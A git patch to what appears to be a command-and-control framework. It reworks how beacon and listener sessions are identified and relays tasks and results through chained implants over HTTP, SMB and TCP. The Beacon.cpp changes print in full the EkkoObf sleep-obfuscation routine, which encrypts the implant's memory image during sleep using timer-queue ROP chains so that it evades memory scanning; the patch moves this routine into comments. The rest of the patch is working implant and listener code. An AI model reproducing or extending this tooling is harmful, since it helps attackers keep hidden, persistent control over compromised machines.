From 3191ea3a5cd3dfc8d7e7d6a5ace75a02eb9f110b Mon Sep 17 00:00:00 2001 From: kali Date: Wed, 18 Oct 2023 11:12:45 +0200 Subject: [PATCH] Better managment of session, with beaconHash and listenerHash --- beacon/Beacon.cpp | 276 +++++++++++++++------------- listener/Listener.cpp | 92 ++++++++-- listener/Listener.hpp | 6 +- listener/ListenerHttp.cpp | 13 +- listener/ListenerSmb.cpp | 8 + listener/ListenerTcp.cpp | 10 + modules/ModuleCmd/CommonCommand.hpp | 1 + 7 files changed, 253 insertions(+), 153 deletions(-) diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index 5bc344d..dcef07d 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -259,6 +259,7 @@ Beacon::Beacon(const std::string& ip, int port) } +// Distribute commands from C2 adress to this beacon and child beacons bool Beacon::cmdToTasks(const std::string& input) { std::string key="dfsdgferhzdzxczevre5595485sdg"; @@ -272,7 +273,7 @@ bool Beacon::cmdToTasks(const std::string& input) { BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - // Handle own tasks + // Handle tasks address to this particular Beacon std::string beaconhash = bundleC2Message->beaconhash(); if(beaconhash==m_beaconHash) { @@ -282,7 +283,7 @@ bool Beacon::cmdToTasks(const std::string& input) m_tasks.push(c2Message); } } - // handle child sessions tasks + // Handle tasks address to child sessions else { for(int i=0; iset_beaconhash(m_beaconHash); bundleC2Message->set_hostname(m_hostname); bundleC2Message->set_username(m_username); @@ -330,7 +332,7 @@ bool Beacon::taskResultsToCmd(std::string& output) m_taskResult.pop(); } - // handle child sessions results + // Handle results of commands address to child sessions for(int i=0; igetNumberOfSession(); j++) @@ -338,12 +340,9 @@ bool Beacon::taskResultsToCmd(std::string& output) std::shared_ptr ptr = m_listeners[i]->getSessionPtr(j); BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - - // If it's the first listener to handle the message - if(bundleC2Message->listenerhash().empty()) - bundleC2Message->set_listenerhash(m_listeners[i]->getListenerHash()); - + bundleC2Message->set_beaconhash(ptr->getBeaconHash()); + bundleC2Message->set_listenerhash(ptr->getListenerHash()); bundleC2Message->set_hostname(ptr->getHostname()); bundleC2Message->set_username(ptr->getUsername()); bundleC2Message->set_arch(ptr->getArch()); @@ -371,8 +370,11 @@ bool Beacon::taskResultsToCmd(std::string& output) return true; } + +// Execute the right module corresponding to the command received from the C2 bool Beacon::runTasks() { + // Handle every task adress to this beacon and put results in a list that will be use to create the response message while(!m_tasks.empty()) { C2Message c2Message = m_tasks.front(); @@ -390,130 +392,23 @@ bool Beacon::runTasks() return exit; } + // For every listener add a proof of life to the result list that will be use to create the response message + // It's usefull in case of link with the beacon die and is then reinstated + for(int i=0; igetListenerHash(); + listenerProofOfLife.set_instruction(ListenerPolCmd); + listenerProofOfLife.set_returnvalue(listenerHash); + + m_taskResult.push(listenerProofOfLife); + } + return false; } -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) -#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) - -typedef struct { - DWORD Length; - DWORD MaximumLength; - PVOID Buffer; -} USTRING ; - - - -VOID EkkoObf( DWORD SleepTime ) -{ - CONTEXT CtxThread = { 0 }; - - CONTEXT RopProtRW = { 0 }; - CONTEXT RopMemEnc = { 0 }; - CONTEXT RopDelay = { 0 }; - CONTEXT RopMemDec = { 0 }; - CONTEXT RopProtRX = { 0 }; - CONTEXT RopSetEvt = { 0 }; - - HANDLE hTimerQueue = NULL; - HANDLE hNewTimer = NULL; - HANDLE hEvent = NULL; - PVOID ImageBase = NULL; - DWORD ImageSize = 0; - DWORD OldProtect = 0; - - CHAR KeyBuf[16]; - unsigned int r = 0; - for (int i = 0; i < 16; i++) - KeyBuf[i] = (CHAR) rand(); - - USTRING Key = { 0 }; - USTRING Img = { 0 }; - - PVOID NtContinue = NULL; - PVOID SysFunc032 = NULL; - - hEvent = CreateEventW( 0, 0, 0, 0 ); - hTimerQueue = CreateTimerQueue(); - - NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" ); - SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" ); - - ImageBase = GetModuleHandleA( NULL ); - ImageSize = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; - - Key.Buffer = KeyBuf; - Key.Length = Key.MaximumLength = 16; - - Img.Buffer = ImageBase; - Img.Length = Img.MaximumLength = ImageSize; - - if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) - { - WaitForSingleObject( hEvent, 0x32 ); - - memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); - memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); - memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); - memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); - memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); - memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); - - // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); - RopProtRW.Rsp -= 8; - RopProtRW.Rip = (DWORD64)VirtualProtect; - RopProtRW.Rcx = (DWORD64)ImageBase; - RopProtRW.Rdx = (DWORD64)ImageSize; - RopProtRW.R8 = (DWORD64)PAGE_READWRITE; - RopProtRW.R9 = (DWORD64)&OldProtect; - - // "RtlEncryptDecryptRC4" - // SystemFunction032( &Key, &Img ); - RopMemEnc.Rsp -= 8; - RopMemEnc.Rip = (DWORD64)SysFunc032; - RopMemEnc.Rcx = (DWORD64)&Img; - RopMemEnc.Rdx = (DWORD64)&Key; - - // WaitForSingleObject( hTargetHdl, SleepTime ); - RopDelay.Rsp -= 8; - RopDelay.Rip = (DWORD64)WaitForSingleObject; - RopDelay.Rcx = (DWORD64)NtCurrentProcess(); - RopDelay.Rdx = (DWORD64)SleepTime; - - // SystemFunction032( &Key, &Img ); - RopMemDec.Rsp -= 8; - RopMemDec.Rip = (DWORD64)SysFunc032; - RopMemDec.Rcx = (DWORD64)&Img; - RopMemDec.Rdx = (DWORD64)&Key; - - // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); - RopProtRX.Rsp -= 8; - RopProtRX.Rip = (DWORD64)VirtualProtect; - RopProtRX.Rcx = (DWORD64)ImageBase; - RopProtRX.Rdx = (DWORD64)ImageSize; - RopProtRX.R8 = (DWORD64)PAGE_EXECUTE_READWRITE; - RopProtRX.R9 = (DWORD64)&OldProtect; - - // SetEvent( hEvent ); - RopSetEvt.Rsp -= 8; - RopSetEvt.Rip = (DWORD64)SetEvent; - RopSetEvt.Rcx = (DWORD64)hEvent; - - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); - CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); - - WaitForSingleObject( hEvent, INFINITE ); - } - - DeleteTimerQueue( hTimerQueue ); -} - void Beacon::sleep() { if(m_aliveTimerMs<=0) @@ -532,7 +427,9 @@ void Beacon::sleep() } -// Main function that execute cmd +// Main function that execute command comming from the C2 +// Commands releated to modules are handle by them +// Commands releated to beacon internal functions are handle in this function bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) { string instruction = c2Message.instruction(); @@ -730,6 +627,7 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) c2RetMessage.set_returnvalue(msg); #endif } + // Command to be executed by a loaded module else { bool isModuleFound=false; @@ -754,4 +652,122 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) } +// #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +// #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) +// #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) +// typedef struct { +// DWORD Length; +// DWORD MaximumLength; +// PVOID Buffer; +// } USTRING ; + + + +// VOID EkkoObf( DWORD SleepTime ) +// { +// CONTEXT CtxThread = { 0 }; + +// CONTEXT RopProtRW = { 0 }; +// CONTEXT RopMemEnc = { 0 }; +// CONTEXT RopDelay = { 0 }; +// CONTEXT RopMemDec = { 0 }; +// CONTEXT RopProtRX = { 0 }; +// CONTEXT RopSetEvt = { 0 }; + +// HANDLE hTimerQueue = NULL; +// HANDLE hNewTimer = NULL; +// HANDLE hEvent = NULL; +// PVOID ImageBase = NULL; +// DWORD ImageSize = 0; +// DWORD OldProtect = 0; + +// CHAR KeyBuf[16]; +// unsigned int r = 0; +// for (int i = 0; i < 16; i++) +// KeyBuf[i] = (CHAR) rand(); + +// USTRING Key = { 0 }; +// USTRING Img = { 0 }; + +// PVOID NtContinue = NULL; +// PVOID SysFunc032 = NULL; + +// hEvent = CreateEventW( 0, 0, 0, 0 ); +// hTimerQueue = CreateTimerQueue(); + +// NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" ); +// SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" ); + +// ImageBase = GetModuleHandleA( NULL ); +// ImageSize = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; + +// Key.Buffer = KeyBuf; +// Key.Length = Key.MaximumLength = 16; + +// Img.Buffer = ImageBase; +// Img.Length = Img.MaximumLength = ImageSize; + +// if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) +// { +// WaitForSingleObject( hEvent, 0x32 ); + +// memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); +// memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); +// memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); +// memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); +// memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); +// memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); + +// // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); +// RopProtRW.Rsp -= 8; +// RopProtRW.Rip = (DWORD64)VirtualProtect; +// RopProtRW.Rcx = (DWORD64)ImageBase; +// RopProtRW.Rdx = (DWORD64)ImageSize; +// RopProtRW.R8 = (DWORD64)PAGE_READWRITE; +// RopProtRW.R9 = (DWORD64)&OldProtect; + +// // "RtlEncryptDecryptRC4" +// // SystemFunction032( &Key, &Img ); +// RopMemEnc.Rsp -= 8; +// RopMemEnc.Rip = (DWORD64)SysFunc032; +// RopMemEnc.Rcx = (DWORD64)&Img; +// RopMemEnc.Rdx = (DWORD64)&Key; + +// // WaitForSingleObject( hTargetHdl, SleepTime ); +// RopDelay.Rsp -= 8; +// RopDelay.Rip = (DWORD64)WaitForSingleObject; +// RopDelay.Rcx = (DWORD64)NtCurrentProcess(); +// RopDelay.Rdx = (DWORD64)SleepTime; + +// // SystemFunction032( &Key, &Img ); +// RopMemDec.Rsp -= 8; +// RopMemDec.Rip = (DWORD64)SysFunc032; +// RopMemDec.Rcx = (DWORD64)&Img; +// RopMemDec.Rdx = (DWORD64)&Key; + +// // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); +// RopProtRX.Rsp -= 8; +// RopProtRX.Rip = (DWORD64)VirtualProtect; +// RopProtRX.Rcx = (DWORD64)ImageBase; +// RopProtRX.Rdx = (DWORD64)ImageSize; +// RopProtRX.R8 = (DWORD64)PAGE_EXECUTE_READWRITE; +// RopProtRX.R9 = (DWORD64)&OldProtect; + +// // SetEvent( hEvent ); +// RopSetEvt.Rsp -= 8; +// RopSetEvt.Rip = (DWORD64)SetEvent; +// RopSetEvt.Rcx = (DWORD64)hEvent; + +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); +// CreateTimerQueueTimer( &hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); + +// WaitForSingleObject( hEvent, INFINITE ); +// } + +// DeleteTimerQueue( hTimerQueue ); +// } diff --git a/listener/Listener.cpp b/listener/Listener.cpp index 7dd2885..ca77bc5 100644 --- a/listener/Listener.cpp +++ b/listener/Listener.cpp @@ -1,5 +1,13 @@ #include "Listener.hpp" +#ifdef __linux__ +#elif _WIN32 +#include + +#define INFO_BUFFER_SIZE 32767 +#define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*)) + +#endif #ifdef __linux__ @@ -37,12 +45,31 @@ Listener::Listener(const std::string& host, int port, const std::string& type) throw std::runtime_error("Port Already Used."); #elif _WIN32 +#endif + + + // m_listenerHash is now composed of a UUID and information related to the machine and the listener +#ifdef __linux__ + + char hostname[HOST_NAME_MAX]; + gethostname(hostname, HOST_NAME_MAX); + m_hostname = hostname; + +#elif _WIN32 + + TCHAR infoBuf[INFO_BUFFER_SIZE]; + DWORD bufCharCount = INFO_BUFFER_SIZE; + + // Get and display the name of the computer. + m_hostname = "unknown"; + if( GetComputerName( infoBuf, &bufCharCount ) ) + m_hostname = infoBuf; + #endif m_host=host; m_port = port; m_type = type; - m_listenerHash = random_string(SizeListenerHash); } @@ -90,14 +117,14 @@ std::shared_ptr Listener::getSessionPtr(int idxSession) } -std::shared_ptr Listener::getSessionPtr(std::string& beaconHash) +std::shared_ptr Listener::getSessionPtr(std::string& beaconHash, std::string& listenerHash) { std::lock_guard lock(m_mutex); for(int idxSession=0; idxSessiongetBeaconHash()) + if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash()) { std::shared_ptr ptr = m_sessions[idxSession]; return ptr; @@ -107,14 +134,14 @@ std::shared_ptr Listener::getSessionPtr(std::string& beaconHash) } -bool Listener::isSessionExist(std::string& beaconHash) +bool Listener::isSessionExist(std::string& beaconHash, std::string& listenerHash) { std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) { - if (beaconHash == (*it)->getBeaconHash()) + if (beaconHash == (*it)->getBeaconHash() && listenerHash == (*it)->getListenerHash()) { sessionExist=true; } @@ -157,7 +184,6 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri } - bool Listener::rmSessionListener(const std::string& beaconHash, const std::string& listenerHash) { std::lock_guard lock(m_mutex); @@ -175,7 +201,6 @@ bool Listener::rmSessionListener(const std::string& beaconHash, const std::strin } - std::vector Listener::getSessionListenerInfos() { std::vector sessionListenerList; @@ -292,25 +317,27 @@ bool Listener::handleMessages(const std::string& input, std::string& output) MultiBundleC2Message multiBundleC2Message; multiBundleC2Message.ParseFromArray(data.data(), (int)data.size()); - bool isTaskToSend=false; - MultiBundleC2Message multiBundleC2MessageRet; + // Handle messages comming from beacons + // Create taksResult to be display by the TeamServer for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) { // For each session (direct session and childs) BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + // Sessions are unique and created from the pair beaconHash / listenerHash + // If listenerHash is already filled it means that the session was already handled by other listener befor this one std::string beaconHash = bundleC2Message->beaconhash(); + std::string listenerhash = bundleC2Message->listenerhash(); + if(listenerhash.empty()) + listenerhash = getListenerHash(); + bundleC2Message->set_listenerhash(listenerhash); + if(beaconHash.size()==SizeBeaconHash) { - bool SessionExis = isSessionExist(beaconHash); - if(SessionExis==false) + bool SessionExist = isSessionExist(beaconHash, listenerhash); + if(SessionExist==false) { - // Create session with the pair beaconHash / listenerHash - // If listenerHash is already fill that mean the session is from an other listener originaly - // Else it's a "simple" session - std::string listenerhash = bundleC2Message->listenerhash(); - if(listenerhash.empty()) - listenerhash = getListenerHash(); + DEBUG("beaconHash " << beaconHash << " listenerhash " << listenerhash); std::string username = bundleC2Message->username(); std::string hostname = bundleC2Message->hostname(); @@ -332,11 +359,13 @@ bool Listener::handleMessages(const std::string& input, std::string& output) { const C2Message& c2Message = bundleC2Message->c2messages(j); + // TODO what happen to thos taskResult for listeners that are managed by beacons if(!c2Message.returnvalue().empty()) { addTaskResult(c2Message, beaconHash); } + // Handle instruction that have impact on this Listener if(c2Message.instruction()==EndCmd) { markSessionKilled(beaconHash); @@ -355,7 +384,7 @@ bool Listener::handleMessages(const std::string& input, std::string& output) std::string type=ListenerSmbType; std::string host="127.0.0.1"; - std::shared_ptr ptr = getSessionPtr(beaconHash); + std::shared_ptr ptr = getSessionPtr(beaconHash, listenerhash); if(ptr) host = ptr->getHostname(); @@ -369,7 +398,7 @@ bool Listener::handleMessages(const std::string& input, std::string& output) std::string type=ListenerTcpType; std::string host="127.0.0.1"; - std::shared_ptr ptr = getSessionPtr(beaconHash); + std::shared_ptr ptr = getSessionPtr(beaconHash, listenerhash); if(ptr) host = ptr->getHostname(); @@ -379,9 +408,28 @@ bool Listener::handleMessages(const std::string& input, std::string& output) { rmSessionListener(beaconHash, c2Message.returnvalue()); } - } + } + else if(c2Message.instruction()==ListenerPolCmd) + { + addSessionListener(beaconHash, c2Message.returnvalue(), "type", "host", 0); + } } + } + } + // Handle commands to send to Beacons + // For every beacons contacting the listener, check if their are task to be sent and create a message to send it + bool isTaskToSend=false; + MultiBundleC2Message multiBundleC2MessageRet; + for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) + { + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + + // Sessions are unique and created from the pair beaconHash / listenerHash + // If listenerHash is already filled it means that the session was already handled by other listener befor this one + std::string beaconHash = bundleC2Message->beaconhash(); + if(beaconHash.size()==SizeBeaconHash) + { // Look for tasks in the queu for the this beacon C2Message c2Message = getTask(beaconHash); if(!c2Message.instruction().empty()) @@ -390,6 +438,10 @@ bool Listener::handleMessages(const std::string& input, std::string& output) BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages(); bundleC2Message->set_beaconhash(beaconHash); + // Not neaded + // std::string listenerhash = getListenerHash(); + // bundleC2Message->set_listenerhash(listenerhash); + while(!c2Message.instruction().empty()) { C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); diff --git a/listener/Listener.hpp b/listener/Listener.hpp index d0ece79..d0a8433 100644 --- a/listener/Listener.hpp +++ b/listener/Listener.hpp @@ -32,8 +32,8 @@ public: // Session std::shared_ptr getSessionPtr(int idxSession); - std::shared_ptr getSessionPtr(std::string& beaconHash); - bool isSessionExist(std::string& beaconHash); + std::shared_ptr getSessionPtr(std::string& beaconHash, std::string& listenerHash); + bool isSessionExist(std::string& beaconHash, std::string& listenerHash); bool updateSessionPoofOfLife(std::string& beaconHash, std::string& lastProofOfLife); bool markSessionKilled(std::string& beaconhash); @@ -53,6 +53,8 @@ protected: bool execInstruction(std::vector& splitedCmd, C2Message& c2Message); bool handleMessages(const std::string& input, std::string& output); + std::string m_hostname; + int m_port; std::string m_host; std::string m_type; diff --git a/listener/ListenerHttp.cpp b/listener/ListenerHttp.cpp index 44eb66a..ea09b8d 100644 --- a/listener/ListenerHttp.cpp +++ b/listener/ListenerHttp.cpp @@ -68,7 +68,18 @@ ListenerHttp::ListenerHttp(const std::string& ip, int localPort, bool isHttps) : Listener(ip, localPort, (isHttps==true) ? ListenerHttpsType : ListenerHttpType) , m_isHttps(isHttps) { - + m_listenerHash = random_string(SizeListenerHash); + m_listenerHash += "-"; + if(isHttps) + m_listenerHash += ListenerHttpsType; + else + m_listenerHash += ListenerHttpType; + m_listenerHash += "/"; + m_listenerHash += m_hostname; + m_listenerHash += "/"; + m_listenerHash += ip; + m_listenerHash += "/"; + m_listenerHash += std::to_string(localPort); if(m_isHttps) m_svr = std::make_unique("./cert.pem", "./key.pem"); diff --git a/listener/ListenerSmb.cpp b/listener/ListenerSmb.cpp index b8723c8..bf4dee3 100644 --- a/listener/ListenerSmb.cpp +++ b/listener/ListenerSmb.cpp @@ -7,6 +7,14 @@ using namespace std; ListenerSmb::ListenerSmb(const std::string& pipeName) : Listener("127.0.0.1", 911, ListenerSmbType) { + m_listenerHash = random_string(SizeListenerHash); + m_listenerHash += "-"; + m_listenerHash += ListenerSmbType; + m_listenerHash += "/"; + m_listenerHash += m_hostname; + m_listenerHash += "/"; + m_listenerHash += pipeName; + m_serverSmb = new PipeHandler::Server(pipeName); m_stopThread=false; diff --git a/listener/ListenerTcp.cpp b/listener/ListenerTcp.cpp index 9b0d8eb..a964f19 100644 --- a/listener/ListenerTcp.cpp +++ b/listener/ListenerTcp.cpp @@ -7,6 +7,16 @@ using namespace std; ListenerTcp::ListenerTcp(const std::string& ip, int localPort) : Listener(ip, localPort, ListenerTcpType) { + m_listenerHash = random_string(SizeListenerHash); + m_listenerHash += "-"; + m_listenerHash += ListenerTcpType; + m_listenerHash += "/"; + m_listenerHash += m_hostname; + m_listenerHash += "/"; + m_listenerHash += ip; + m_listenerHash += "/"; + m_listenerHash += std::to_string(localPort); + m_serverTcp = new SocketHandler::Server(m_port); m_stopThread=false; diff --git a/modules/ModuleCmd/CommonCommand.hpp b/modules/ModuleCmd/CommonCommand.hpp index 383085f..bf67204 100644 --- a/modules/ModuleCmd/CommonCommand.hpp +++ b/modules/ModuleCmd/CommonCommand.hpp @@ -11,6 +11,7 @@ const std::string HelpCmd = "help"; const std::string SleepCmd = "sleep"; const std::string EndCmd = "end"; const std::string ListenerCmd = "listener"; +const std::string ListenerPolCmd = "listenerPol"; const std::string LoadC2Module = "loadModule"; const std::string UnloadC2Module = "unloadModule"; const std::string ModulesDirectoryFromTeamServer = "../Modules/";